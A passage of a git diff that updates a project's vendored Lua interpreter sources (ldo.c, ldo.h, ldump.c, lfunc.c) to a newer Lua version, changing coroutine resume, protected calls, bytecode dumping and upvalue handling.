long-jumps out of the loop). +*/ +static void unroll(lua_State *L, void *ud) { + CallInfo *ci; + UNUSED(ud); + while ((ci = L->ci) != &L->base_ci) { /* something in the stack */ + if (!isLua(ci)) /* C function? */ + finishCcall(L, ci); /* complete its execution */ + else { /* Lua function */ + luaV_finishOp(L); /* finish interrupted instruction */ + luaV_execute(L, ci); /* execute down to higher C 'boundary' */ + } + } +} + + +/* +** Try to find a suspended protected call (a "recover point") for the +** given thread. */ static CallInfo *findpcall(lua_State *L) { CallInfo *ci; @@ -456,130 +756,137 @@ static CallInfo *findpcall(lua_State *L) { } -static int recover(lua_State *L, int status) { - StkId oldtop; - CallInfo *ci = findpcall(L); - if (ci == NULL) return 0; /* no recovery point */ - /* "finish" luaD_pcall */ - oldtop = restorestack(L, ci->extra); - luaF_close(L, oldtop); - seterrorobj(L, status, oldtop); - L->ci = ci; - L->allowhook = ci->u.c.old_allowhook; - L->nny = 0; /* should be zero to be yieldable */ - luaD_shrinkstack(L); - L->errfunc = ci->u.c.old_errfunc; - ci->callstatus |= CIST_STAT; /* call has error status */ - ci->u.c.status = status; /* (here it is) */ - return 1; /* continue running the coroutine */ -} - - /* -** signal an error in the call to 'resume', not in the execution of the -** coroutine itself. (Such errors should not be handled by any coroutine -** error handler and should not kill the coroutine.) +** Signal an error in the call to 'lua_resume', not in the execution +** of the coroutine itself. (Such errors should not be handled by any +** coroutine error handler and should not kill the coroutine.) */ -static l_noret resume_error(lua_State *L, const char *msg, StkId firstArg) { - L->top = firstArg; /* remove args from the stack */ - setsvalue2s(L, L->top, luaS_new(L, msg)); /* push error message */ +static int resume_error(lua_State *L, const char *msg, int narg) { + L->top.p -= narg; /* remove args from the stack */ + setsvalue2s(L, L->top.p, luaS_new(L, msg)); /* push error message */ api_incr_top(L); - luaD_throw(L, -1); /* jump back to 'lua_resume' */ + lua_unlock(L); + return LUA_ERRRUN; } /* -** do the work for 'lua_resume' in protected mode +** Do the work for 'lua_resume' in protected mode. Most of the work +** depends on the status of the coroutine: initial state, suspended +** inside a hook, or regularly suspended (optionally with a continuation +** function), plus erroneous cases: non-suspended coroutine or dead +** coroutine. */ static void resume(lua_State *L, void *ud) { - int nCcalls = L->nCcalls; - StkId firstArg = cast(StkId, ud); + int n = *(cast(int *, ud)); /* number of arguments */ + StkId firstArg = L->top.p - n; /* first argument */ CallInfo *ci = L->ci; - if (nCcalls >= LUAI_MAXCCALLS) - resume_error(L, "C stack overflow", firstArg); - if (L->status == LUA_OK) { /* may be starting a coroutine */ - if (ci != &L->base_ci) /* not in base level? */ - resume_error(L, "cannot resume non-suspended coroutine", firstArg); - /* coroutine is in base level; start running it */ - if (!luaD_precall(L, firstArg - 1, LUA_MULTRET)) /* Lua function? */ - luaV_execute(L); /* call it */ - } else if (L->status != LUA_YIELD) - resume_error(L, "cannot resume dead coroutine", firstArg); + if (L->status == LUA_OK) /* starting a coroutine? */ + ccall(L, firstArg - 1, LUA_MULTRET, 0); /* just call its body */ else { /* resuming from previous yield */ - L->status = LUA_OK; - ci->func = restorestack(L, ci->extra); - if (isLua(ci)) /* yielded inside a hook? */ - luaV_execute(L); /* just continue running Lua code */ - else { /* 'common' yield */ - if (ci->u.c.k != NULL) { /* does it have a continuation? */ - int n; - ci->u.c.status = LUA_YIELD; /* 'default' status */ - ci->callstatus |= CIST_YIELDED; + lua_assert(L->status == LUA_YIELD); + L->status = LUA_OK; /* mark that it is running (again) */ + if (isLua(ci)) { /* yielded inside a hook? */ + /* undo increment made by 'luaG_traceexec': instruction was not + executed yet */ + lua_assert(ci->callstatus & CIST_HOOKYIELD); + ci->u.l.savedpc--; + L->top.p = firstArg; /* discard arguments */ + luaV_execute(L, ci); /* just continue running Lua code */ + } else { /* 'common' yield */ + if (ci->u.c.k != NULL) { /* does it have a continuation function? */ lua_unlock(L); - n = (*ci->u.c.k)(L); /* call continuation */ + n = (*ci->u.c.k)(L, LUA_YIELD, ci->u.c.ctx); /* call continuation */ lua_lock(L); api_checknelems(L, n); - firstArg = L->top - n; /* yield results come from continuation */ } - luaD_poscall(L, firstArg); /* finish 'luaD_precall' */ + luaD_poscall(L, ci, n); /* finish 'luaD_call' */ } - unroll(L, NULL); + unroll(L, NULL); /* run continuation */ } - lua_assert(nCcalls == L->nCcalls); } -LUA_API int lua_resume(lua_State *L, lua_State *from, int nargs) { - int status; - int oldnny = L->nny; /* save 'nny' */ - lua_lock(L); - luai_userstateresume(L, nargs); - L->nCcalls = (from) ? from->nCcalls + 1 : 1; - L->nny = 0; /* allow yields */ - api_checknelems(L, (L->status == LUA_OK) ? nargs + 1 : nargs); - status = luaD_rawrunprotected(L, resume, L->top - nargs); - if (status == -1) /* error calling 'lua_resume'? */ - status = LUA_ERRRUN; - else { /* yield or regular error */ - while (status != LUA_OK && status != LUA_YIELD) { /* error? */ - if (recover(L, status)) /* recover point? */ - status = luaD_rawrunprotected(L, unroll, NULL); /* run continuation */ - else { /* unrecoverable error */ - L->status = cast_byte(status); /* mark thread as `dead' */ - seterrorobj(L, status, L->top); - L->ci->top = L->top; - break; - } - } - lua_assert(status == L->status); +/* +** Unrolls a coroutine in protected mode while there are recoverable +** errors, that is, errors inside a protected call. (Any error +** interrupts 'unroll', and this loop protects it again so it can +** continue.) Stops with a normal end (status == LUA_OK), an yield +** (status == LUA_YIELD), or an unprotected error ('findpcall' doesn't +** find a recover point). +*/ +static int precover(lua_State *L, int status) { + CallInfo *ci; + while (errorstatus(status) && (ci = findpcall(L)) != NULL) { + L->ci = ci; /* go down to recovery functions */ + setcistrecst(ci, status); /* status to finish 'pcall' */ + status = luaD_rawrunprotected(L, unroll, NULL); } - L->nny = oldnny; /* restore 'nny' */ - L->nCcalls--; - lua_assert(L->nCcalls == ((from) ? from->nCcalls : 0)); + return status; +} + + +LUA_API int lua_resume(lua_State *L, lua_State *from, int nargs, + int *nresults) { + int status; + lua_lock(L); + if (L->status == LUA_OK) { /* may be starting a coroutine */ + if (L->ci != &L->base_ci) /* not in base level? */ + return resume_error(L, "cannot resume non-suspended coroutine", nargs); + else if (L->top.p - (L->ci->func.p + 1) == nargs) /* no function? */ + return resume_error(L, "cannot resume dead coroutine", nargs); + } else if (L->status != LUA_YIELD) /* ended with errors? */ + return resume_error(L, "cannot resume dead coroutine", nargs); + L->nCcalls = (from) ? getCcalls(from) : 0; + if (getCcalls(L) >= LUAI_MAXCCALLS) + return resume_error(L, "C stack overflow", nargs); + L->nCcalls++; + luai_userstateresume(L, nargs); + api_checknelems(L, (L->status == LUA_OK) ? nargs + 1 : nargs); + status = luaD_rawrunprotected(L, resume, &nargs); + /* continue running after recoverable errors */ + status = precover(L, status); + if (l_likely(!errorstatus(status))) + lua_assert(status == L->status); /* normal end or yield */ + else { /* unrecoverable error */ + L->status = cast_byte(status); /* mark thread as 'dead' */ + luaD_seterrorobj(L, status, L->top.p); /* push error message */ + L->ci->top.p = L->top.p; + } + *nresults = (status == LUA_YIELD) ? L->ci->u2.nyield + : cast_int(L->top.p - (L->ci->func.p + 1)); lua_unlock(L); return status; } -LUA_API int lua_yieldk(lua_State *L, int nresults, int ctx, lua_CFunction k) { - CallInfo *ci = L->ci; +LUA_API int lua_isyieldable(lua_State *L) { + return yieldable(L); +} + + +LUA_API int lua_yieldk(lua_State *L, int nresults, lua_KContext ctx, + lua_KFunction k) { + CallInfo *ci; luai_userstateyield(L, nresults); lua_lock(L); + ci = L->ci; api_checknelems(L, nresults); - if (L->nny > 0) { + if (l_unlikely(!yieldable(L))) { if (L != G(L)->mainthread) luaG_runerror(L, "attempt to yield across a C-call boundary"); else luaG_runerror(L, "attempt to yield from outside a coroutine"); } L->status = LUA_YIELD; - ci->extra = savestack(L, ci->func); /* save current 'func' */ + ci->u2.nyield = nresults; /* save number of results */ if (isLua(ci)) { /* inside a hook? */ + lua_assert(!isLuacode(ci)); + api_check(L, nresults == 0, "hooks cannot yield values"); api_check(L, k == NULL, "hooks cannot continue after yielding"); } else { if ((ci->u.c.k = k) != NULL) /* is there a continuation? */ ci->u.c.ctx = ctx; /* save context */ - ci->func = L->top - nresults - 1; /* protect stack below results */ luaD_throw(L, LUA_YIELD); } lua_assert(ci->callstatus & CIST_HOOKED); /* must be inside a hook */ @@ -588,23 +895,65 @@ LUA_API int lua_yieldk(lua_State *L, int nresults, int ctx, lua_CFunction k) { } +/* +** Auxiliary structure to call 'luaF_close' in protected mode. +*/ +struct CloseP { + StkId level; + int status; +}; + + +/* +** Auxiliary function to call 'luaF_close' in protected mode. +*/ +static void closepaux(lua_State *L, void *ud) { + struct CloseP *pcl = cast(struct CloseP *, ud); + luaF_close(L, pcl->level, pcl->status, 0); +} + + +/* +** Calls 'luaF_close' in protected mode. Return the original status +** or, in case of errors, the new status. +*/ +int luaD_closeprotected(lua_State *L, ptrdiff_t level, int status) { + CallInfo *old_ci = L->ci; + lu_byte old_allowhooks = L->allowhook; + for (;;) { /* keep closing upvalues until no more errors */ + struct CloseP pcl; + pcl.level = restorestack(L, level); + pcl.status = status; + status = luaD_rawrunprotected(L, &closepaux, &pcl); + if (l_likely(status == LUA_OK)) /* no more errors? */ + return pcl.status; + else { /* an error occurred; restore saved state and repeat */ + L->ci = old_ci; + L->allowhook = old_allowhooks; + } + } +} + + +/* +** Call the C function 'func' in protected mode, restoring basic +** thread information ('allowhook', etc.) and in particular +** its stack level in case of errors. +*/ int luaD_pcall(lua_State *L, Pfunc func, void *u, ptrdiff_t old_top, ptrdiff_t ef) { int status; CallInfo *old_ci = L->ci; lu_byte old_allowhooks = L->allowhook; - unsigned short old_nny = L->nny; ptrdiff_t old_errfunc = L->errfunc; L->errfunc = ef; status = luaD_rawrunprotected(L, func, u); - if (status != LUA_OK) { /* an error occurred? */ - StkId oldtop = restorestack(L, old_top); - luaF_close(L, oldtop); /* close possible pending closures */ - seterrorobj(L, status, oldtop); + if (l_unlikely(status != LUA_OK)) { /* an error occurred? */ L->ci = old_ci; L->allowhook = old_allowhooks; - L->nny = old_nny; - luaD_shrinkstack(L); + status = luaD_closeprotected(L, old_top, status); + luaD_seterrorobj(L, status, restorestack(L, old_top)); + luaD_shrinkstack(L); /* restore stack size in case of overflow */ } L->errfunc = old_errfunc; return status; @@ -615,7 +964,7 @@ int luaD_pcall(lua_State *L, Pfunc func, void *u, /* ** Execute a protected parser. */ -struct SParser { /* data to `f_parser' */ +struct SParser { /* data to 'f_parser' */ ZIO *z; Mbuffer buff; /* dynamic structure used by the scanner */ Dyndata dyd; /* dynamic structures used by the parser */ @@ -627,30 +976,25 @@ struct SParser { /* data to `f_parser' */ static void checkmode(lua_State *L, const char *mode, const char *x) { if (mode && strchr(mode, x[0]) == NULL) { luaO_pushfstring(L, - "attempt to load a %s chunk (mode is " LUA_QS ")", x, mode); + "attempt to load a %s chunk (mode is '%s')", x, mode); luaD_throw(L, LUA_ERRSYNTAX); } } static void f_parser(lua_State *L, void *ud) { - int i; - Closure *cl; + LClosure *cl; struct SParser *p = cast(struct SParser *, ud); int c = zgetc(p->z); /* read first character */ if (c == LUA_SIGNATURE[0]) { checkmode(L, p->mode, "binary"); - cl = luaU_undump(L, p->z, &p->buff, p->name); + cl = luaU_undump(L, p->z, p->name); } else { checkmode(L, p->mode, "text"); cl = luaY_parser(L, p->z, &p->buff, &p->dyd, p->name, c); } - lua_assert(cl->l.nupvalues == cl->l.p->sizeupvalues); - for (i = 0; i < cl->l.nupvalues; i++) { /* initialize upvalues */ - UpVal *up = luaF_newupval(L); - cl->l.upvals[i] = up; - luaC_objbarrier(L, cl, up); - } + lua_assert(cl->nupvalues == cl->p->sizeupvalues); + luaF_initupvals(L, cl); } @@ -658,7 +1002,7 @@ int luaD_protectedparser(lua_State *L, ZIO *z, const char *name, const char *mode) { struct SParser p; int status; - L->nny++; /* cannot yield during parsing */ + incnny(L); /* cannot yield during parsing */ p.z = z; p.name = name; p.mode = mode; @@ -669,12 +1013,12 @@ int luaD_protectedparser(lua_State *L, ZIO *z, const char *name, p.dyd.label.arr = NULL; p.dyd.label.size = 0; luaZ_initbuffer(L, &p.buff); - status = luaD_pcall(L, f_parser, &p, savestack(L, L->top), L->errfunc); + status = luaD_pcall(L, f_parser, &p, savestack(L, L->top.p), L->errfunc); luaZ_freebuffer(L, &p.buff); luaM_freearray(L, p.dyd.actvar.arr, p.dyd.actvar.size); luaM_freearray(L, p.dyd.gt.arr, p.dyd.gt.size); luaM_freearray(L, p.dyd.label.arr, p.dyd.label.size); - L->nny--; + decnny(L); return status; } diff --git a/client/deps/liblua/ldo.h b/client/deps/liblua/ldo.h index 1530aaadf..aeb24fe45 100644 --- a/client/deps/liblua/ldo.h +++ b/client/deps/liblua/ldo.h @@ -1,5 +1,5 @@ /* -** $Id: ldo.h,v 2.20 2011/11/29 15:55:08 roberto Exp $ +** $Id: ldo.h $ ** Stack and Call structure of Lua ** See Copyright Notice in lua.h */ @@ -8,36 +8,77 @@ #define ldo_h +#include "llimits.h" #include "lobject.h" #include "lstate.h" #include "lzio.h" -#define luaD_checkstack(L,n) if (L->stack_last - L->top <= (n)) \ - luaD_growstack(L, n); else condmovestack(L); +/* +** Macro to check stack size and grow stack if needed. Parameters +** 'pre'/'pos' allow the macro to preserve a pointer into the +** stack across reallocations, doing the work only when needed. +** It also allows the running of one GC step when the stack is +** reallocated. +** 'condmovestack' is used in heavy tests to force a stack reallocation +** at every check. +*/ +#define luaD_checkstackaux(L,n,pre,pos) \ + if (l_unlikely(L->stack_last.p - L->top.p <= (n))) \ + { pre; luaD_growstack(L, n, 1); pos; } \ + else { condmovestack(L,pre,pos); } + +/* In general, 'pre'/'pos' are empty (nothing to save) */ +#define luaD_checkstack(L,n) luaD_checkstackaux(L,n,(void)0,(void)0) -#define incr_top(L) {L->top++; luaD_checkstack(L,0);} -#define savestack(L,p) ((char *)(p) - (char *)L->stack) -#define restorestack(L,n) ((TValue *)((char *)L->stack + (n))) +#define savestack(L,pt) (cast_charp(pt) - cast_charp(L->stack.p)) +#define restorestack(L,n) cast(StkId, cast_charp(L->stack.p) + (n)) -/* type of protected functions, to be ran by `runprotected' */ +/* macro to check stack size, preserving 'p' */ +#define checkstackp(L,n,p) \ + luaD_checkstackaux(L, n, \ + ptrdiff_t t__ = savestack(L, p), /* save 'p' */ \ + p = restorestack(L, t__)) /* 'pos' part: restore 'p' */ + + +/* macro to check stack size and GC, preserving 'p' */ +#define checkstackGCp(L,n,p) \ + luaD_checkstackaux(L, n, \ + ptrdiff_t t__ = savestack(L, p); /* save 'p' */ \ + luaC_checkGC(L), /* stack grow uses memory */ \ + p = restorestack(L, t__)) /* 'pos' part: restore 'p' */ + + +/* macro to check stack size and GC */ +#define checkstackGC(L,fsize) \ + luaD_checkstackaux(L, (fsize), luaC_checkGC(L), (void)0) + + +/* type of protected functions, to be ran by 'runprotected' */ typedef void (*Pfunc)(lua_State *L, void *ud); +LUAI_FUNC void luaD_seterrorobj(lua_State *L, int errcode, StkId oldtop); LUAI_FUNC int luaD_protectedparser(lua_State *L, ZIO *z, const char *name, const char *mode); -LUAI_FUNC void luaD_hook(lua_State *L, int event, int line); -LUAI_FUNC int luaD_precall(lua_State *L, StkId func, int nresults); -LUAI_FUNC void luaD_call(lua_State *L, StkId func, int nResults, - int allowyield); +LUAI_FUNC void luaD_hook(lua_State *L, int event, int line, + int fTransfer, int nTransfer); +LUAI_FUNC void luaD_hookcall(lua_State *L, CallInfo *ci); +LUAI_FUNC int luaD_pretailcall(lua_State *L, CallInfo *ci, StkId func, + int narg1, int delta); +LUAI_FUNC CallInfo *luaD_precall(lua_State *L, StkId func, int nResults); +LUAI_FUNC void luaD_call(lua_State *L, StkId func, int nResults); +LUAI_FUNC void luaD_callnoyield(lua_State *L, StkId func, int nResults); +LUAI_FUNC int luaD_closeprotected(lua_State *L, ptrdiff_t level, int status); LUAI_FUNC int luaD_pcall(lua_State *L, Pfunc func, void *u, ptrdiff_t oldtop, ptrdiff_t ef); -LUAI_FUNC int luaD_poscall(lua_State *L, StkId firstResult); -LUAI_FUNC void luaD_reallocstack(lua_State *L, int newsize); -LUAI_FUNC void luaD_growstack(lua_State *L, int n); +LUAI_FUNC void luaD_poscall(lua_State *L, CallInfo *ci, int nres); +LUAI_FUNC int luaD_reallocstack(lua_State *L, int newsize, int raiseerror); +LUAI_FUNC int luaD_growstack(lua_State *L, int n, int raiseerror); LUAI_FUNC void luaD_shrinkstack(lua_State *L); +LUAI_FUNC void luaD_inctop(lua_State *L); LUAI_FUNC l_noret luaD_throw(lua_State *L, int errcode); LUAI_FUNC int luaD_rawrunprotected(lua_State *L, Pfunc f, void *ud); diff --git a/client/deps/liblua/ldump.c b/client/deps/liblua/ldump.c index a18d4873b..b2b08c479 100644 --- a/client/deps/liblua/ldump.c +++ b/client/deps/liblua/ldump.c @@ -1,20 +1,25 @@ /* -** $Id: ldump.c,v 2.17 2012/01/23 23:02:10 roberto Exp $ +** $Id: ldump.c $ ** save precompiled Lua chunks ** See Copyright Notice in lua.h */ -#include - #define ldump_c #define LUA_CORE +#include "lprefix.h" + + +#include +#include + #include "lua.h" #include "lobject.h" #include "lstate.h" #include "lundump.h" + typedef struct { lua_State *L; lua_Writer writer; @@ -23,132 +28,203 @@ typedef struct { int status; } DumpState; -#define DumpMem(b,n,size,D) DumpBlock(b,(n)*(size),D) -#define DumpVar(x,D) DumpMem(&x,1,sizeof(x),D) -static void DumpBlock(const void *b, size_t size, DumpState *D) { - if (D->status == 0) { +/* +** All high-level dumps go through dumpVector; you can change it to +** change the endianness of the result +*/ +#define dumpVector(D,v,n) dumpBlock(D,v,(n)*sizeof((v)[0])) + +#define dumpLiteral(D, s) dumpBlock(D,s,sizeof(s) - sizeof(char)) + + +static void dumpBlock(DumpState *D, const void *b, size_t size) { + if (D->status == 0 && size > 0) { lua_unlock(D->L); D->status = (*D->writer)(D->L, b, size, D->data); lua_lock(D->L); } } -static void DumpChar(int y, DumpState *D) { - char x = (char)y; - DumpVar(x, D); + +#define dumpVar(D,x) dumpVector(D,&x,1) + + +static void dumpByte(DumpState *D, int y) { + lu_byte x = (lu_byte)y; + dumpVar(D, x); } -static void DumpInt(int x, DumpState *D) { - DumpVar(x, D); + +/* +** 'dumpSize' buffer size: each byte can store up to 7 bits. (The "+6" +** rounds up the division.) +*/ +#define DIBS ((sizeof(size_t) * CHAR_BIT + 6) / 7) + +static void dumpSize(DumpState *D, size_t x) { + lu_byte buff[DIBS]; + int n = 0; + do { + buff[DIBS - (++n)] = x & 0x7f; /* fill buffer in reverse order */ + x >>= 7; + } while (x != 0); + buff[DIBS - 1] |= 0x80; /* mark last byte */ + dumpVector(D, buff + DIBS - n, n); } -static void DumpNumber(lua_Number x, DumpState *D) { - DumpVar(x, D); + +static void dumpInt(DumpState *D, int x) { + dumpSize(D, x); } -static void DumpVector(const void *b, int n, size_t size, DumpState *D) { - DumpInt(n, D); - DumpMem(b, n, size, D); + +static void dumpNumber(DumpState *D, lua_Number x) { + dumpVar(D, x); } -static void DumpString(const TString *s, DumpState *D) { - if (s == NULL) { - size_t size = 0; - DumpVar(size, D); - } else { - size_t size = s->tsv.len + 1; /* include trailing '\0' */ - DumpVar(size, D); - DumpBlock(getstr(s), size * sizeof(char), D); + +static void dumpInteger(DumpState *D, lua_Integer x) { + dumpVar(D, x); +} + + +static void dumpString(DumpState *D, const TString *s) { + if (s == NULL) + dumpSize(D, 0); + else { + size_t size = tsslen(s); + const char *str = getstr(s); + dumpSize(D, size + 1); + dumpVector(D, str, size); } } -#define DumpCode(f,D) DumpVector(f->code,f->sizecode,sizeof(Instruction),D) -static void DumpFunction(const Proto *f, DumpState *D); +static void dumpCode(DumpState *D, const Proto *f) { + dumpInt(D, f->sizecode); + dumpVector(D, f->code, f->sizecode); +} -static void DumpConstants(const Proto *f, DumpState *D) { - int i, n = f->sizek; - DumpInt(n, D); + +static void dumpFunction(DumpState *D, const Proto *f, TString *psource); + +static void dumpConstants(DumpState *D, const Proto *f) { + int i; + int n = f->sizek; + dumpInt(D, n); for (i = 0; i < n; i++) { const TValue *o = &f->k[i]; - DumpChar(ttypenv(o), D); - switch (ttypenv(o)) { - case LUA_TNIL: + int tt = ttypetag(o); + dumpByte(D, tt); + switch (tt) { + case LUA_VNUMFLT: + dumpNumber(D, fltvalue(o)); break; - case LUA_TBOOLEAN: - DumpChar(bvalue(o), D); + case LUA_VNUMINT: + dumpInteger(D, ivalue(o)); break; - case LUA_TNUMBER: - DumpNumber(nvalue(o), D); - break; - case LUA_TSTRING: - DumpString(rawtsvalue(o), D); + case LUA_VSHRSTR: + case LUA_VLNGSTR: + dumpString(D, tsvalue(o)); break; default: - lua_assert(0); + lua_assert(tt == LUA_VNIL || tt == LUA_VFALSE || tt == LUA_VTRUE); } } - n = f->sizep; - DumpInt(n, D); - for (i = 0; i < n; i++) DumpFunction(f->p[i], D); } -static void DumpUpvalues(const Proto *f, DumpState *D) { + +static void dumpProtos(DumpState *D, const Proto *f) { + int i; + int n = f->sizep; + dumpInt(D, n); + for (i = 0; i < n; i++) + dumpFunction(D, f->p[i], f->source); +} + + +static void dumpUpvalues(DumpState *D, const Proto *f) { int i, n = f->sizeupvalues; - DumpInt(n, D); + dumpInt(D, n); for (i = 0; i < n; i++) { - DumpChar(f->upvalues[i].instack, D); - DumpChar(f->upvalues[i].idx, D); + dumpByte(D, f->upvalues[i].instack); + dumpByte(D, f->upvalues[i].idx); + dumpByte(D, f->upvalues[i].kind); } } -static void DumpDebug(const Proto *f, DumpState *D) { + +static void dumpDebug(DumpState *D, const Proto *f) { int i, n; - DumpString((D->strip) ? NULL : f->source, D); n = (D->strip) ? 0 : f->sizelineinfo; - DumpVector(f->lineinfo, n, sizeof(int), D); - n = (D->strip) ? 0 : f->sizelocvars; - DumpInt(n, D); + dumpInt(D, n); + dumpVector(D, f->lineinfo, n); + n = (D->strip) ? 0 : f->sizeabslineinfo; + dumpInt(D, n); for (i = 0; i < n; i++) { - DumpString(f->locvars[i].varname, D); - DumpInt(f->locvars[i].startpc, D); - DumpInt(f->locvars[i].endpc, D); + dumpInt(D, f->abslineinfo[i].pc); + dumpInt(D, f->abslineinfo[i].line); + } + n = (D->strip) ? 0 : f->sizelocvars; + dumpInt(D, n); + for (i = 0; i < n; i++) { + dumpString(D, f->locvars[i].varname); + dumpInt(D, f->locvars[i].startpc); + dumpInt(D, f->locvars[i].endpc); } n = (D->strip) ? 0 : f->sizeupvalues; - DumpInt(n, D); - for (i = 0; i < n; i++) DumpString(f->upvalues[i].name, D); + dumpInt(D, n); + for (i = 0; i < n; i++) + dumpString(D, f->upvalues[i].name); } -static void DumpFunction(const Proto *f, DumpState *D) { - DumpInt(f->linedefined, D); - DumpInt(f->lastlinedefined, D); - DumpChar(f->numparams, D); - DumpChar(f->is_vararg, D); - DumpChar(f->maxstacksize, D); - DumpCode(f, D); - DumpConstants(f, D); - DumpUpvalues(f, D); - DumpDebug(f, D); + +static void dumpFunction(DumpState *D, const Proto *f, TString *psource) { + if (D->strip || f->source == psource) + dumpString(D, NULL); /* no debug info or same source as its parent */ + else + dumpString(D, f->source); + dumpInt(D, f->linedefined); + dumpInt(D, f->lastlinedefined); + dumpByte(D, f->numparams); + dumpByte(D, f->is_vararg); + dumpByte(D, f->maxstacksize); + dumpCode(D, f); + dumpConstants(D, f); + dumpUpvalues(D, f); + dumpProtos(D, f); + dumpDebug(D, f); } -static void DumpHeader(DumpState *D) { - lu_byte h[LUAC_HEADERSIZE]; - luaU_header(h); - DumpBlock(h, LUAC_HEADERSIZE, D); + +static void dumpHeader(DumpState *D) { + dumpLiteral(D, LUA_SIGNATURE); + dumpByte(D, LUAC_VERSION); + dumpByte(D, LUAC_FORMAT); + dumpLiteral(D, LUAC_DATA); + dumpByte(D, sizeof(Instruction)); + dumpByte(D, sizeof(lua_Integer)); + dumpByte(D, sizeof(lua_Number)); + dumpInteger(D, LUAC_INT); + dumpNumber(D, LUAC_NUM); } + /* ** dump Lua function as precompiled chunk */ -int luaU_dump(lua_State *L, const Proto *f, lua_Writer w, void *data, int strip) { +int luaU_dump(lua_State *L, const Proto *f, lua_Writer w, void *data, + int strip) { DumpState D; D.L = L; D.writer = w; D.data = data; D.strip = strip; D.status = 0; - DumpHeader(&D); - DumpFunction(f, &D); + dumpHeader(&D); + dumpByte(&D, f->sizeupvalues); + dumpFunction(&D, f, NULL); return D.status; } + diff --git a/client/deps/liblua/lfunc.c b/client/deps/liblua/lfunc.c index f4a05560a..4f9bb0088 100644 --- a/client/deps/liblua/lfunc.c +++ b/client/deps/liblua/lfunc.c @@ -1,17 +1,21 @@ /* -** $Id: lfunc.c,v 2.30 2012/10/03 12:36:46 roberto Exp $ +** $Id: lfunc.c $ ** Auxiliary functions to manipulate prototypes and closures ** See Copyright Notice in lua.h */ - -#include - #define lfunc_c #define LUA_CORE +#include "lprefix.h" + + +#include + #include "lua.h" +#include "ldebug.h" +#include "ldo.h" #include "lfunc.h" #include "lgc.h" #include "lmem.h" @@ -20,104 +24,232 @@ -Closure *luaF_newCclosure(lua_State *L, int n) { - Closure *c = &luaC_newobj(L, LUA_TCCL, sizeCclosure(n), NULL, 0)->cl; - c->c.nupvalues = cast_byte(n); +CClosure *luaF_newCclosure(lua_State *L, int nupvals) { + GCObject *o = luaC_newobj(L, LUA_VCCL, sizeCclosure(nupvals)); + CClosure *c = gco2ccl(o); + c->nupvalues = cast_byte(nupvals); return c; } -Closure *luaF_newLclosure(lua_State *L, int n) { - Closure *c = &luaC_newobj(L, LUA_TLCL, sizeLclosure(n), NULL, 0)->cl; - c->l.p = NULL; - c->l.nupvalues = cast_byte(n); - while (n--) c->l.upvals[n] = NULL; +LClosure *luaF_newLclosure(lua_State *L, int nupvals) { + GCObject *o = luaC_newobj(L, LUA_VLCL, sizeLclosure(nupvals)); + LClosure *c = gco2lcl(o); + c->p = NULL; + c->nupvalues = cast_byte(nupvals); + while (nupvals--) c->upvals[nupvals] = NULL; return c; } -UpVal *luaF_newupval(lua_State *L) { - UpVal *uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), NULL, 0)->uv; - uv->v = &uv->u.value; - setnilvalue(uv->v); +/* +** fill a closure with new closed upvalues +*/ +void luaF_initupvals(lua_State *L, LClosure *cl) { + int i; + for (i = 0; i < cl->nupvalues; i++) { + GCObject *o = luaC_newobj(L, LUA_VUPVAL, sizeof(UpVal)); + UpVal *uv = gco2upv(o); + uv->v.p = &uv->u.value; /* make it closed */ + setnilvalue(uv->v.p); + cl->upvals[i] = uv; + luaC_objbarrier(L, cl, uv); + } +} + + +/* +** Create a new upvalue at the given level, and link it to the list of +** open upvalues of 'L' after entry 'prev'. +**/ +static UpVal *newupval(lua_State *L, StkId level, UpVal **prev) { + GCObject *o = luaC_newobj(L, LUA_VUPVAL, sizeof(UpVal)); + UpVal *uv = gco2upv(o); + UpVal *next = *prev; + uv->v.p = s2v(level); /* current value lives in the stack */ + uv->u.open.next = next; /* link it to list of open upvalues */ + uv->u.open.previous = prev; + if (next) + next->u.open.previous = &uv->u.open.next; + *prev = uv; + if (!isintwups(L)) { /* thread not in list of threads with upvalues? */ + L->twups = G(L)->twups; /* link it to the list */ + G(L)->twups = L; + } return uv; } +/* +** Find and reuse, or create if it does not exist, an upvalue +** at the given level. +*/ UpVal *luaF_findupval(lua_State *L, StkId level) { - global_State *g = G(L); - GCObject **pp = &L->openupval; + UpVal **pp = &L->openupval; UpVal *p; - UpVal *uv; - while (*pp != NULL && (p = gco2uv(*pp))->v >= level) { - GCObject *o = obj2gco(p); - lua_assert(p->v != &p->u.value); - lua_assert(!isold(o) || isold(obj2gco(L))); - if (p->v == level) { /* found a corresponding upvalue? */ - if (isdead(g, o)) /* is it dead? */ - changewhite(o); /* resurrect it */ - return p; - } - pp = &p->next; + lua_assert(isintwups(L) || L->openupval == NULL); + while ((p = *pp) != NULL && uplevel(p) >= level) { /* search for it */ + lua_assert(!isdead(G(L), p)); + if (uplevel(p) == level) /* corresponding upvalue? */ + return p; /* return it */ + pp = &p->u.open.next; } - /* not found: create a new one */ - uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), pp, 0)->uv; - uv->v = level; /* current value lives in the stack */ - uv->u.l.prev = &g->uvhead; /* double link it in `uvhead' list */ - uv->u.l.next = g->uvhead.u.l.next; - uv->u.l.next->u.l.prev = uv; - g->uvhead.u.l.next = uv; - lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); - return uv; + /* not found: create a new upvalue after 'pp' */ + return newupval(L, level, pp); } -static void unlinkupval(UpVal *uv) { - lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); - uv->u.l.next->u.l.prev = uv->u.l.prev; /* remove from `uvhead' list */ - uv->u.l.prev->u.l.next = uv->u.l.next; +/* +** Call closing method for object 'obj' with error message 'err'. The +** boolean 'yy' controls whether the call is yieldable. +** (This function assumes EXTRA_STACK.) +*/ +static void callclosemethod(lua_State *L, TValue *obj, TValue *err, int yy) { + StkId top = L->top.p; + const TValue *tm = luaT_gettmbyobj(L, obj, TM_CLOSE); + setobj2s(L, top, tm); /* will call metamethod... */ + setobj2s(L, top + 1, obj); /* with 'self' as the 1st argument */ + setobj2s(L, top + 2, err); /* and error msg. as 2nd argument */ + L->top.p = top + 3; /* add function and arguments */ + if (yy) + luaD_call(L, top, 0); + else + luaD_callnoyield(L, top, 0); } -void luaF_freeupval(lua_State *L, UpVal *uv) { - if (uv->v != &uv->u.value) /* is it open? */ - unlinkupval(uv); /* remove from open list */ - luaM_free(L, uv); /* free upvalue */ +/* +** Check whether object at given level has a close metamethod and raise +** an error if not. +*/ +static void checkclosemth(lua_State *L, StkId level) { + const TValue *tm = 